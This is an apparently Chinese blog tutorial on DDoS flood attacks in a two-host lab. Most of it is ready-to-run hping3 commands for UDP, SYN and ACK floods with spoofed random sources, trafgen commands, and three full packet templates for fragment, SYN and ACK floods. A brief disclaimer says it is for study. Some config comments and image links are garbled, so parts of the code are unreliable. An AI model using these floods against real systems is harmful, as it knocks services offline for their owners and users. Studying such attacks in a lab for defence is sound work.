DDOS流量攻击

声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!!!

实验目的

学习基本的DDOS工具使用

hping3

netsniffer – trafgen

实验环境

包含2台主机

attact 作为攻击方,使用Centos7.2

windows_server ,用于被攻击,同时抓包分析流量 ,任意版本均可。安装wireshark,用于抓包

实验步骤

使用hping

hping官网帮助信息

hping与ping的区别:典型的ping程序使用的是ICMP回显请求来测试,而HPING可以使用任何IP报文,包括ICMP、TCP、UDP、RAWSOCKET

查看帮助信息

hping --help

1、使用hping3进行 udp flood攻击

hping3 --flood --rand-source --udp -p 目标端口 目标IP 
hping3 --flood --rand-source --udp -c 100 -p 目标端口 目标IP 

  
  
  • 1
  • 2

–flood : sent packets as fast as possible(尽可能快地发送数据包)

–rand-source: random source address(随机源IP地址)

–udp : UDP mode

-p –destport: destination port (default 0) (目标端口)

-c 100 发送100个数据包,用于实验,不加可能会死机
执行命令时,抓包查看发送数据。并观察目标机器网络

抓包结果:

1540446423341

靶机状态:

![1540446645489](Picture/15在这里插入图片描述

2、使用hping 进行syn_flood攻击

hping3 --flood –-rand-source -S -c 100 -p 目标端口 目标IP

-S:发送SYN标记

攻击后,在windows上使用 netstat -ano | find "SYN"命令,查看现象

![1540447324931](Picture/15404在这里插入图片描述

3、使用hping 进行ack_flood攻击

hping3 --flood –-rand-source -A -c 100 -p 目标端口 目标IP

-A:发送ACK标记

试试同时发起syn_flood与ack_flood

同时发起两种攻击时,靶机情况

![1540448131109](Picture/154044在这里插入图片描述

使用netsniff的trafgen组件

实验时,修改目的IP和mac地址即可。

4、使用trafgen进行udp 碎片攻击

small_frag.traf为配置模板,需要修改 目标IP地址 目标端口 目标MAC地址等参数

trafgen --cpp --dev 接口名 --conf small_frag.traf -n 100 --verbose

–cpp Run packet config through C preprocessor

–conf 配置文件

–dev 接口名,通过ifconfig可以查看

–verbose 冗余发送

-n 100 发送100个数据包,用于实验,不加可能会死机

实验结果:

![1540452143959](Picture/154045在这里插入图片描述

![1540452187176](Pict在这里插入图片描述

5、使用trafgen进行syn_flood攻击

trafgen --cpp --dev 接口名 --conf syn_flood.traf -n 100 --verbose

实验结果

![1540451350027](Picture/15404513在这里插入图片描述
1540451410467

6、使用trafgen进行ack_flood攻击

trafgen --cpp --dev 接口名 --conf ack_flood.traf -n 100 --verbose

攻击结果:

1540451780045

1540451834483

试试同时发起syn_flood与ack_flood

安装实验工具hping3

wget https://github.com/antirez/hping/archive/master.zip

unzip master

cd hping-master

yum install libpcap-devel

ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h

yum -y install tcl tcl-devel

./configure

make && make install

  • 参考:安装hping的一些坑

    安装实验工具 netsniff-ng

    yum install netsniff-ng -y
    trafgen的相关使用可以参考这个

    hping 官方help

    hping官网帮助信息

    附件1

    small_frag.traf

    /* UDP fragment DoS attack
     * Command example:
     *  trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
     * Note: dynamic elements "drnd()" make trafgen slower
     */
    // trafgen packet conf for fragment DoS attack
    // -------------------------------------------
    //  - Need to randomize the frag ID
    //  - Use trafgen support for dynamic checksum recalc
    //
    // Checksum cannot be fixed with iptables:
    //   iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
    // Because traffic is injected a place which don't have any NF hooks
    //
    

{
// — Ethernet Header —
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, // MAC Destination
0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4, // MAC Source
const16(0x0800), // Protocol

// — IP Header —
// IPv4 Version(4-bit) + IHL(4-bit), TOS
0b01000101, 0x00,
// IPv4 Total Len
const16(40),

// ID, notice runtime dynamic random
drnd(2),

// IPv4 3-bit flags + 13-bit fragment offset
// 001 = More fragments
0b00100000, 0b00000000,

64, //TTL
17, // Proto UDP

// Dynamic IP Checksum (notice offsets are zero indexed)
csumip(14, 33),

192, 168, 164, 188, // Source IP
192, 168, 164, 1, // Dest IP

// — UDP Header —
// As this is a fragment the below stuff does not matter too much
const16(48054), // src port
const16(62148), // dst port
const16(20), // UDP length

// UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
// which is csumudp(14, 34), but for UDP its allowed to be zero
const16(0),

// Payload
‘A’, fill(0x41, 11),
}

  • 附件2

    syn_flood.traf

    /* TCP SYN attack ( 64byte )
     * Command example:
     *  trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
     * Note: dynamic elements "drnd()" make trafgen slower
     */
    

#define ETH_P_IP 0x0800

#define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6)

{
/* — Ethernet Header — /
/
NEED ADJUST */
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, # MAC Destination
0x00, 0x12, 0xc0, drnd(3), # MAC Source

const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS /
0b01000101, 0,
/
IPv4 Total Len /
const16(46),
/
IPv4 Ident */
drnd(2),
//const16(2),

/* IPv4 Flags, Frag Off /
0b01000000, 0,
/
IPv4 TTL /
64,
/
Proto TCP /
0x06,
/
IPv4 Checksum (IP header from, to) */
csumip(14, 33),

/* NEED ADJUST */
10, 10, 88, drnd(1), # Source IP
192, 168, 164, 1, # Dest IP

/* TCP Source Port /
drnd(2),
/
TCP Dest Port /
const16(1033),
/
TCP Sequence Number /
drnd(4),
/
TCP Ackn. Number /
const32(0), /
NOTICE ACK==zero with SYN packets */

/* TCP Header length + Flags /
//const16((0x5 << 12) | SYN | ECN) /
TCP SYN+ECN Flag /
//const16((0x5 << 12) | SYN | ACK) /
TCP SYN+ACK Flag /
const16((0x5 << 12) | SYN) /
TCP SYN Flag /
//const16((0x5 << 12) | ACK) /
TCP ACK Flag */

/* Window Size /
const16(16),
/
TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /PAD/

/* Data */
“SYNswf”
}

  • 附件3

    ack_flood.traf

    /* TCP ACK attack ( 64byte )
     * Command example:
     *  trafgen --cpp --dev em2 --conf ackflood.trafgen --verbose
     * Note: dynamic elements "drnd()" make trafgen slower
     */
    

#define ETH_P_IP 0x0800

#define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6)

{
/* — Ethernet Header — /
/
NEED ADJUST */
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, # MAC Destination
0x00, 0x12, 0xc0, drnd(3), # MAC Source

const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS /
0b01000101, 0,
/
IPv4 Total Len /
const16(46),
/
IPv4 Ident */
drnd(2),
//const16(2),

/* IPv4 Flags, Frag Off /
0b01000000, 0,
/
IPv4 TTL /
64,
/
Proto TCP /
0x06,
/
IPv4 Checksum (IP header from, to) */
csumip(14, 33),

/* NEED ADJUST */
10, 10, 88, drnd(1), # Source IP
192, 168, 164, 128, # Dest IP

/* TCP Source Port /
drnd(2),
/
TCP Dest Port /
const16(80),
/
TCP Sequence Number /
drnd(4),
/
TCP Ackn. Number */
drnd(4),

/* TCP Header length + Flags /
//const16((0x5 << 12) | SYN | ECN) /
TCP SYN+ECN Flag /
//const16((0x5 << 12) | SYN | ACK) /
TCP SYN+ACK Flag /
//const16((0x5 << 12) | SYN) /
TCP SYN Flag /
const16((0x5 << 12) | ACK) /
TCP ACK Flag */

/* Window Size /
const16(16),
/
TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /PAD/

/* Data */
“ACKswf”
}

    • 2
      点赞
    • 8
      收藏
      觉得还不错? 一键收藏
    • 1
      评论
    DDoS放大攻击脚本是一种网络攻击工具,旨在利用弱点,通过利用互联网上的开放式的服务(如DNS、NTP、SNMP等),向目标主机发送大量伪造的请求,造成超负荷运行,导致服务不可用。 DDoS放大攻击脚本的原理是攻击发送小型请求,但伪造请求的源地址为目标主机的IP地址。然后该请求被发送到支持放大的开放式服务,服务不加校验地响应请求,并将响应结果发送至目标主机。由于请求是伪造的,响应结果比原始请求大得多,导致目标主机网络带宽、CPU和内存资源被耗尽,最终使得服务无法正常运行。 这种攻击脚本利用了放大系数大的服务,使得攻击者只需要发送少量的请求,就能够产生巨大的网络流量,从而达到攻击的目的。放大系数表示为响应流量与请求流量之间的比值,一般是几十倍甚至上百倍。 为了防止DDoS放大攻击,网站和服务提供商可以采取一些措施。首先,关闭或限制开放式服务对外部请求的访问。其次,加强监控和流量分析,及时发现异常流量并采取防御措施。此外,还可以利用防火墙、入侵检测系统和流量清洗服务等技术进行防御,确保网络服务的正常运行。 总之,DDoS放大攻击脚本是一种利用放大系数高的开放式服务进行网络攻击的手段。应加强网络安全意识和技术防御手段,以保障网络服务的可靠性和稳定性。

    “相关推荐”对你有帮助么?

    • 非常没帮助
    • 没帮助
    • 一般
    • 有帮助
    • 非常有帮助
    提交
    评论 1
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值